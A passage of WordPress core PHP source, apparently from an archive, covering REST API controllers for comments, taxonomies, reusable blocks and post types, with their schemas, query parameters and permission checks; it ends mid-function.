				return new WP_Error( 'rest_comment_author_invalid', __( 'Invalid comment author ID.' ), array( 'status' => 400 ) );
			}
		}

		if ( isset( $request['author_name'] ) ) {
			$prepared_comment['comment_author'] = $request['author_name'];
		}

		if ( isset( $request['author_email'] ) ) {
			$prepared_comment['comment_author_email'] = $request['author_email'];
		}

		if ( isset( $request['author_url'] ) ) {
			$prepared_comment['comment_author_url'] = $request['author_url'];
		}

		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
			$prepared_comment['comment_author_IP'] = $request['author_ip'];
		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
		} else {
			$prepared_comment['comment_author_IP'] = '127.0.0.1';
		}

		if ( ! empty( $request['author_user_agent'] ) ) {
			$prepared_comment['comment_agent'] = $request['author_user_agent'];
		} elseif ( $request->get_header( 'user_agent' ) ) {
			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
		}

		if ( ! empty( $request['date'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date'] );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		} elseif ( ! empty( $request['date_gmt'] ) ) {
			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );

			if ( ! empty( $date_data ) ) {
				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
			}
		}

		/**
		 * Filters a comment after it is prepared for the database.
		 *
		 * Allows modification of the comment right after it is prepared for the database.
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
		 * @param WP_REST_Request $request          The current request.
		 */
		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
	}

	/**
	 * Retrieves the comment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'              => 'http://json-schema.org/draft-04/schema#',
			'title'                => 'comment',
			'type'                 => 'object',
			'properties'           => array(
				'id'               => array(
					'description'  => __( 'Unique identifier for the object.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'author'           => array(
					'description'  => __( 'The ID of the user object, if author was a user.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'edit', 'embed' ),
				),
				'author_email'     => array(
					'description'  => __( 'Email address for the object author.' ),
					'type'         => 'string',
					'format'       => 'email',
					'context'      => array( 'edit' ),
					'arg_options'  => array(
						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
						'validate_callback' => null, // skip built-in validation of 'email'.
					),
				),
				'author_ip'     => array(
					'description'  => __( 'IP address for the object author.' ),
					'type'         => 'string',
					'format'       => 'ip',
					'context'      => array( 'edit' ),
				),
				'author_name'     => array(
					'description'  => __( 'Display name for the object author.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'arg_options'  => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'author_url'       => array(
					'description'  => __( 'URL for the object author.' ),
					'type'         => 'string',
					'format'       => 'uri',
					'context'      => array( 'view', 'edit', 'embed' ),
				),
				'author_user_agent'     => array(
					'description'  => __( 'User agent for the object author.' ),
					'type'         => 'string',
					'context'      => array( 'edit' ),
					'arg_options'  => array(
						'sanitize_callback' => 'sanitize_text_field',
					),
				),
				'content'          => array(
					'description'     => __( 'The content for the object.' ),
					'type'            => 'object',
					'context'         => array( 'view', 'edit', 'embed' ),
					'arg_options'     => array(
						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
					),
					'properties'      => array(
						'raw'         => array(
							'description'     => __( 'Content for the object, as it exists in the database.' ),
							'type'            => 'string',
							'context'         => array( 'edit' ),
						),
						'rendered'    => array(
							'description'     => __( 'HTML content for the object, transformed for display.' ),
							'type'            => 'string',
							'context'         => array( 'view', 'edit', 'embed' ),
							'readonly'        => true,
						),
					),
				),
				'date'             => array(
					'description'  => __( "The date the object was published, in the site's timezone." ),
					'type'         => 'string',
					'format'       => 'date-time',
					'context'      => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'         => array(
					'description'  => __( 'The date the object was published, as GMT.' ),
					'type'         => 'string',
					'format'       => 'date-time',
					'context'      => array( 'view', 'edit' ),
				),
				'link'             => array(
					'description'  => __( 'URL to the object.' ),
					'type'         => 'string',
					'format'       => 'uri',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'parent'           => array(
					'description'  => __( 'The ID for the parent of the object.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'edit', 'embed' ),
					'default'      => 0,
				),
				'post'             => array(
					'description'  => __( 'The ID of the associated post object.' ),
					'type'         => 'integer',
					'context'      => array( 'view', 'edit' ),
					'default'      => 0,
				),
				'status'           => array(
					'description'  => __( 'State of the object.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit' ),
					'arg_options'  => array(
						'sanitize_callback' => 'sanitize_key',
					),
				),
				'type'             => array(
					'description'  => __( 'Type of Comment for the object.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
			),
		);

		if ( get_option( 'show_avatars' ) ) {
			$avatar_properties = array();

			$avatar_sizes = rest_get_avatar_sizes();
			foreach ( $avatar_sizes as $size ) {
				$avatar_properties[ $size ] = array(
					/* translators: %d: avatar image size in pixels */
					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'embed', 'view', 'edit' ),
				);
			}

			$schema['properties']['author_avatar_urls'] = array(
				'description'   => __( 'Avatar URLs for the object author.' ),
				'type'          => 'object',
				'context'       => array( 'view', 'edit', 'embed' ),
				'readonly'      => true,
				'properties'    => $avatar_properties,
			);
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Comments collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description'       => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
			'type'              => 'string',
			'format'            => 'date-time',
		);

		$query_params['author'] = array(
			'description'       => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
		);

		$query_params['author_exclude'] = array(
			'description'       => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
		);

		$query_params['author_email'] = array(
			'default'           => null,
			'description'       => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
			'format'            => 'email',
			'type'              => 'string',
		);

		$query_params['before'] = array(
			'description'       => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
			'type'              => 'string',
			'format'            => 'date-time',
		);

		$query_params['exclude'] = array(
			'description'        => __( 'Ensure result set excludes specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		$query_params['include'] = array(
			'description'        => __( 'Limit result set to specific IDs.' ),
			'type'               => 'array',
			'items'              => array(
				'type'           => 'integer',
			),
			'default'            => array(),
		);

		$query_params['offset'] = array(
			'description'        => __( 'Offset the result set by a specific number of items.' ),
			'type'               => 'integer',
		);

		$query_params['order']      = array(
			'description'           => __( 'Order sort attribute ascending or descending.' ),
			'type'                  => 'string',
			'default'               => 'desc',
			'enum'                  => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby']    = array(
			'description'           => __( 'Sort collection by object attribute.' ),
			'type'                  => 'string',
			'default'               => 'date_gmt',
			'enum'                  => array(
				'date',
				'date_gmt',
				'id',
				'include',
				'post',
				'parent',
				'type',
			),
		);

		$query_params['parent'] = array(
			'default'           => array(),
			'description'       => __( 'Limit result set to comments of specific parent IDs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
		);

		$query_params['parent_exclude'] = array(
			'default'           => array(),
			'description'       => __( 'Ensure result set excludes specific parent IDs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
		);

		$query_params['post']   = array(
			'default'           => array(),
			'description'       => __( 'Limit result set to comments assigned to specific post IDs.' ),
			'type'              => 'array',
			'items'             => array(
				'type'          => 'integer',
			),
		);

		$query_params['status'] = array(
			'default'           => 'approve',
			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['type'] = array(
			'default'           => 'comment',
			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['password'] = array(
			'description' => __( 'The password for the post if it is password protected.' ),
			'type'        => 'string',
		);

		/**
		 * Filter collection parameters for the comments controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Comment_Query parameter. Use the
		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_comment_collection_params', $query_params );
	}

	/**
	 * Sets the comment_status of a given comment object when creating or updating a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $new_status New comment status.
	 * @param int        $comment_id Comment ID.
	 * @return bool Whether the status was changed.
	 */
	protected function handle_status_param( $new_status, $comment_id ) {
		$old_status = wp_get_comment_status( $comment_id );

		if ( $new_status === $old_status ) {
			return false;
		}

		switch ( $new_status ) {
			case 'approved' :
			case 'approve':
			case '1':
				$changed = wp_set_comment_status( $comment_id, 'approve' );
				break;
			case 'hold':
			case '0':
				$changed = wp_set_comment_status( $comment_id, 'hold' );
				break;
			case 'spam' :
				$changed = wp_spam_comment( $comment_id );
				break;
			case 'unspam' :
				$changed = wp_unspam_comment( $comment_id );
				break;
			case 'trash' :
				$changed = wp_trash_comment( $comment_id );
				break;
			case 'untrash' :
				$changed = wp_untrash_comment( $comment_id );
				break;
			default :
				$changed = false;
				break;
		}

		return $changed;
	}

	/**
	 * Checks if the post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether post can be read.
	 */
	protected function check_read_post_permission( $post, $request ) {
		$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
		$post_type = get_post_type_object( $post->post_type );

		$has_password_filter = false;

		// Only check password if a specific post was queried for or a single comment
		$requested_post = ! empty( $request['post'] ) && ( !is_array( $request['post'] ) || 1 === count( $request['post'] ) );
		$requested_comment = ! empty( $request['id'] );
		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
			add_filter( 'post_password_required', '__return_false' );

			$has_password_filter = true;
		}

		if ( post_password_required( $post ) ) {
			$result = current_user_can( $post_type->cap->edit_post, $post->ID );
		} else {
			$result = $posts_controller->check_read_permission( $post );
		}

		if ( $has_password_filter ) {
			remove_filter( 'post_password_required', '__return_false' );
		}

		return $result;
	}

	/**
	 * Checks if the comment can be read.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether the comment can be read.
	 */
	protected function check_read_permission( $comment, $request ) {
		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( $comment->comment_post_ID );
			if ( $post ) {
				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
					return true;
				}
			}
		}

		if ( 0 === get_current_user_id() ) {
			return false;
		}

		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks if a comment can be edited or deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param object $comment Comment object.
	 * @return bool Whether the comment can be edited or deleted.
	 */
	protected function check_edit_permission( $comment ) {
		if ( 0 === (int) get_current_user_id() ) {
			return false;
		}

		if ( ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks a comment author email for validity.
	 *
	 * Accepts either a valid email address or empty string as a valid comment
	 * author email address. Setting the comment author email to an empty
	 * string is allowed when a comment is being updated.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   Author email value submitted.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return WP_Error|string The sanitized email address, if valid,
	 *                         otherwise an error.
	 */
	public function check_comment_author_email( $value, $request, $param ) {
		$email = (string) $value;
		if ( empty( $email ) ) {
			return $email;
		}

		$check_email = rest_validate_request_arg( $email, $request, $param );
		if ( is_wp_error( $check_email ) ) {
			return $check_email;
		}

		return $email;
	}
}
endpoints/class-wp-rest-taxonomies-controller.php000066600000025666151114277720016363 0ustar00<?php
/**
 * REST API: WP_REST_Taxonomies_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage taxonomies via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Taxonomies_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'taxonomies';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'         => WP_REST_Server::READABLE,
				'callback'        => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'            => $this->get_collection_params(),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)', array(
			'args' => array(
				'taxonomy' => array(
					'description'  => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'         => 'string',
				),
			),
			array(
				'methods'         => WP_REST_Server::READABLE,
				'callback'        => array( $this, 'get_item' ),
				'permission_callback' => array( $this, 'get_item_permissions_check' ),
				'args'            => array(
					'context'     => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks whether a given request has permission to read taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			if ( ! empty( $request['type'] ) ) {
				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
			} else {
				$taxonomies = get_taxonomies( '', 'objects' );
			}
			foreach ( $taxonomies as $taxonomy ) {
				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
					return true;
				}
			}
			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) );
		}
		return true;
	}

	/**
	 * Retrieves all public taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
		} else {
			$taxonomies = get_taxonomies( '', 'objects' );
		}
		$data = array();
		foreach ( $taxonomies as $tax_type => $value ) {
			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
				continue;
			}
			$tax = $this->prepare_item_for_response( $value, $request );
			$tax = $this->prepare_response_for_collection( $tax );
			$data[ $tax_type ] = $tax;
		}

		if ( empty( $data ) ) {
			// Response should still be returned as a JSON object when it is empty.
			$data = (object) $data;
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param  WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {

		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( $tax_obj ) {
			if ( empty( $tax_obj->show_in_rest ) ) {
				return false;
			}
			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
				return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return true;
	}

	/**
	 * Retrieves a specific taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$tax_obj = get_taxonomy( $request['taxonomy'] );
		if ( empty( $tax_obj ) ) {
			return new WP_Error( 'rest_taxonomy_invalid', __( 'Invalid taxonomy.' ), array( 'status' => 404 ) );
		}
		$data = $this->prepare_item_for_response( $tax_obj, $request );
		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a taxonomy object for serialization.
	 *
	 * @since 4.7.0
	 *
	 * @param stdClass        $taxonomy Taxonomy data.
	 * @param WP_REST_Request $request  Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $taxonomy, $request ) {
		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $taxonomy->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $taxonomy->name;
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $taxonomy->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $taxonomy->description;
		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $taxonomy->labels;
		}

		if ( in_array( 'types', $fields, true ) ) {
			$data['types'] = $taxonomy->object_type;
		}

		if ( in_array( 'show_cloud', $fields, true ) ) {
			$data['show_cloud'] = $taxonomy->show_tagcloud;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $taxonomy->hierarchical;
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		if ( in_array( 'visibility', $fields, true ) ) {
			$data['visibility'] = array(
				'public'             => (bool) $taxonomy->public,
				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
				'show_ui'            => (bool) $taxonomy->show_ui,
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data = $this->add_additional_fields_to_object( $data, $request );
		$data = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		$response->add_links( array(
			'collection'                => array(
				'href'                  => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items'   => array(
				'href'                  => rest_url( sprintf( 'wp/v2/%s', $base ) ),
			),
		) );

		/**
		 * Filters a taxonomy returned from the REST API.
		 *
		 * Allows modification of the taxonomy data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $item     The original taxonomy object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
	}

	/**
	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = array(
			'$schema'              => 'http://json-schema.org/draft-04/schema#',
			'title'                => 'taxonomy',
			'type'                 => 'object',
			'properties'           => array(
				'capabilities'     => array(
					'description'  => __( 'All capabilities used by the taxonomy.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'description'      => array(
					'description'  => __( 'A human-readable description of the taxonomy.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'hierarchical'     => array(
					'description'  => __( 'Whether or not the taxonomy should have children.' ),
					'type'         => 'boolean',
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'labels'           => array(
					'description'  => __( 'Human-readable labels for the taxonomy for various contexts.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'name'             => array(
					'description'  => __( 'The title for the taxonomy.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'slug'             => array(
					'description'  => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
				'show_cloud'       => array(
					'description'  => __( 'Whether or not the term cloud should be displayed.' ),
					'type'         => 'boolean',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'types'            => array(
					'description'  => __( 'Types associated with the taxonomy.' ),
					'type'         => 'array',
					'items'        => array(
						'type' => 'string',
					),
					'context'      => array( 'view', 'edit' ),
					'readonly'     => true,
				),
				'visibility'       => array(
					'description'  => __( 'The visibility settings for the taxonomy.' ),
					'type'         => 'object',
					'context'      => array( 'edit' ),
					'readonly'     => true,
				),
				'rest_base'            => array(
					'description'  => __( 'REST base route for the taxonomy.' ),
					'type'         => 'string',
					'context'      => array( 'view', 'edit', 'embed' ),
					'readonly'     => true,
				),
			),
		);
		return $this->add_additional_fields_schema( $schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$new_params = array();
		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
		$new_params['type'] = array(
			'description'  => __( 'Limit results to taxonomies associated with a specific post type.' ),
			'type'         => 'string',
		);
		return $new_params;
	}

}
endpoints/class-wp-rest-blocks-controller.php000066600000005216151114277720015437 0ustar00<?php
/**
 * Reusable blocks REST API: WP_REST_Blocks_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides a REST endpoint for the editor to read, create,
 * edit and delete reusable blocks. Blocks are stored as posts with the wp_block
 * post type.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Posts_Controller
 * @see WP_REST_Controller
 */
class WP_REST_Blocks_Controller extends WP_REST_Posts_Controller {

	/**
	 * Checks if a block can be read.
	 *
	 * @since 5.0.0
	 *
	 * @param object $post Post object that backs the block.
	 * @return bool Whether the block can be read.
	 */
	public function check_read_permission( $post ) {
		// Ensure that the user is logged in and has the read_blocks capability.
		$post_type = get_post_type_object( $post->post_type );
		if ( ! current_user_can( $post_type->cap->read_post, $post->ID ) ) {
			return false;
		}

		return parent::check_read_permission( $post );
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 5.0.0
	 *
	 * @param array  $data    Response data to fiter.
	 * @param string $context Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $data, $context ) {
		$data = parent::filter_response_by_context( $data, $context );

		/*
		 * Remove `title.rendered` and `content.rendered` from the response. It
		 * doesn't make sense for a reusable block to have rendered content on its
		 * own, since rendering a block requires it to be inside a post or a page.
		 */
		unset( $data['title']['rendered'] );
		unset( $data['content']['rendered'] );

		return $data;
	}

	/**
	 * Retrieves the block's schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		$schema = parent::get_item_schema();

		/*
		 * Allow all contexts to access `title.raw` and `content.raw`. Clients always
		 * need the raw markup of a reusable block to do anything useful, e.g. parse
		 * it or display it in an editor.
		 */
		$schema['properties']['title']['properties']['raw']['context']   = array( 'view', 'edit' );
		$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );

		/*
		 * Remove `title.rendered` and `content.rendered` from the schema. It doesn’t
		 * make sense for a reusable block to have rendered content on its own, since
		 * rendering a block requires it to be inside a post or a page.
		 */
		unset( $schema['properties']['title']['properties']['rendered'] );
		unset( $schema['properties']['content']['properties']['rendered'] );

		return $schema;
	}

}
endpoints/class-wp-rest-post-types-controller.php000066600000023113151114277720016305 0ustar00<?php
/**
 * REST API: WP_REST_Post_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class to access post types via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'types';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<type>[\w-]+)', array(
			'args' => array(
				'type' => array(
					'description' => __( 'An alphanumeric identifier for the post type.' ),
					'type'        => 'string',
				),
			),
			array(
				'methods'  => WP_REST_Server::READABLE,
				'callback' => array( $this, 'get_item' ),
				'args'     => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
				),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );
	}

	/**
	 * Checks whether a given request has permission to read types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|true True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			foreach ( get_post_types( array(), 'object' ) as $post_type ) {
				if ( ! empty( $post_type->show_in_rest ) && current_user_can( $post_type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves all public post types.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_post_types( array(), 'object' ) as $obj ) {
			if ( empty( $obj->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) ) {
				continue;
			}

			$post_type = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $post_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a specific post type.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_type_object( $request['type'] );

		if ( empty( $obj ) ) {
			return new WP_Error( 'rest_type_invalid', __( 'Invalid post type.' ), array( 'status' => 404 ) );
		}

		if ( empty( $obj->show_in_rest ) ) {
			return new WP_Error( 'rest_cannot_read_type', __( 'Cannot view post type.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $obj->cap->edit_posts ) ) {
			return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit posts in this post type.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post type object for serialization.
	 *
	 * @since 4.7.0
	 *
	 * @param stdClass        $post_type Post type data.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post_type, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) );
		$taxonomies = wp_list_pluck( $taxonomies, 'name' );
		$base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name;
		$supports = get_all_post_type_supports( $post_type->name );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $post_type->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $post_type->description;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $post_type->hierarchical;
		}

		if ( in_array( 'viewable', $fields, true ) ) {
			$data['viewable'] = is_post_type_viewable( $post_type );
